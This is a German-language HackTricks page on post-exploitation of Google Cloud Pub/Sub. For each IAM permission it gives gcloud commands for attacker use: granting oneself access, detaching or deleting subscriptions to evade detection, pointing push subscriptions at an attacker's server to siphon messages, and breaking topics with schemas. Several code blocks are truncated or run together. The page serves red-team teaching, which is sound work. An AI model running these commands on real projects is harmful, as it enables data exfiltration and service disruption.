GCP - Pub/Sub Post Exploitation
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Pub/Sub
Für mehr Informationen über Pub/Sub siehe die folgende Seite:
pubsub.topics.publish
Publiziert eine Nachricht in einem Topic, nützlich um unerwartete Daten zu senden und unerwartete Funktionalitäten auszulösen oder Schwachstellen auszunutzen:
Nachricht an Topic veröffentlichen
```bash # Publish a message in a topic gcloud pubsub topics publishpubsub.topics.detachSubscription
Nützlich, um zu verhindern, dass eine subscription Nachrichten empfängt, möglicherweise um die Erkennung zu vermeiden.
Subscription vom Topic trennen
```bash gcloud pubsub topics detach-subscriptionpubsub.topics.delete
Nützlich, um zu verhindern, dass eine subscription Nachrichten erhält, möglicherweise um eine Erkennung zu vermeiden.
Es ist möglich, ein topic zu löschen, selbst wenn daran subscriptions angehängt sind.
Delete topic
```bash gcloud pubsub topics deletepubsub.topics.update
Nutze diese Berechtigung, um eine Einstellung des Topics zu ändern und es dadurch zu stören, z. B. --clear-schema-settings, --message-retention-duration, --message-storage-policy-allowed-regions, --schema, --schema-project, --topic-encryption-key…
pubsub.topics.setIamPolicy
Gib dir selbst die Berechtigung, beliebige der vorherigen Angriffe auszuführen.
# Add Binding
gcloud pubsub topics add-iam-policy-binding <TOPIC_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"
# Remove Binding
gcloud pubsub topics remove-iam-policy-binding <TOPIC_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"
# Change Policy
gcloud pubsub topics set-iam-policy <TOPIC_NAME> \
<(echo '{
"bindings": [
{
"role": "<ROLE_OR_CUSTOM_ROLE>",
"members": [
"serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com"
]
}
]
}') \
--project=<PROJECT_ID>
pubsub.subscriptions.create,pubsub.topics.attachSubscription , (pubsub.subscriptions.consume)
Alle Nachrichten auf einem Webserver abrufen:
Push-Subscription erstellen, um Nachrichten zu empfangen
```bash # Crete push subscription and recieve all the messages instantly in your web server gcloud pubsub subscriptions createErstelle eine Subscription und verwende diese, um Nachrichten abzurufen:
Pull-Subscription erstellen und Nachrichten abrufen
```bash # This will retrive a non ACKed message (and won't ACK it) gcloud pubsub subscriptions createYou also need pubsub.subscriptions.consume for this
gcloud pubsub subscriptions pull
This command will wait for a message to be posted
</details>
### `pubsub.subscriptions.delete`
**Das Löschen einer Subscription** könnte nützlich sein, um ein Log-Processing-System oder etwas Ähnliches zu stören:
<details>
<summary>Subscription löschen</summary>
```bash
gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
pubsub.subscriptions.update
Verwende diese Berechtigung, um eine Einstellung zu aktualisieren, sodass Nachrichten an einem Ort gespeichert werden, auf den du zugreifen kannst (URL, Big Query table, Bucket) oder einfach um sie zu stören.
Subscription-Endpunkt aktualisieren
```bash gcloud pubsub subscriptions update --push-endpointpubsub.subscriptions.setIamPolicy
Gib dir die Berechtigungen, die nötig sind, um eine der zuvor beschriebenen attacks durchzuführen.
pubsub.schemas.attach, pubsub.topics.update,(pubsub.schemas.create)
Hänge ein schema an ein topic an, sodass die messages es nicht erfüllen und dadurch das topic gestört wird.
Falls keine schemas vorhanden sind, musst du möglicherweise eines erstellen.
Erstelle eine schema-Datei und hänge sie an das topic an
```json:schema.json { "namespace": "com.example", "type": "record", "name": "Person", "fields": [ { "name": "name", "type": "string" }, { "name": "age", "type": "int" } ] } ```# Attach new schema
gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
--schema=projects/<project-name>/schemas/<topic-id> \
--message-encoding=json
pubsub.schemas.delete
Das könnte so aussehen, als würde durch das Löschen eines Schemas ermöglicht, Nachrichten zu senden, die nicht dem Schema entsprechen. Allerdings, da das Schema gelöscht wird, gelangt keine Nachricht tatsächlich in das Topic. Daher ist das NUTZLOS:
Schema löschen (nicht nützlich)
```bash gcloud pubsub schemas deletepubsub.schemas.setIamPolicy
Verschaffe dir die Berechtigungen, die nötig sind, um eine der zuvor beschriebenen Angriffe durchzuführen.
pubsub.snapshots.create, pubsub.snapshots.seek
Dies erstellt einen Snapshot aller unACKed messages und setzt sie wieder in die subscription zurück. Für einen Angreifer nicht sehr nützlich, aber hier ist es:
Snapshot erstellen und zu diesem seeken
```bash gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \ --subscription=YOUR_SUBSCRIPTION_NAME gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \ --snapshot=YOUR_SNAPSHOT_NAME ```Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks Cloud

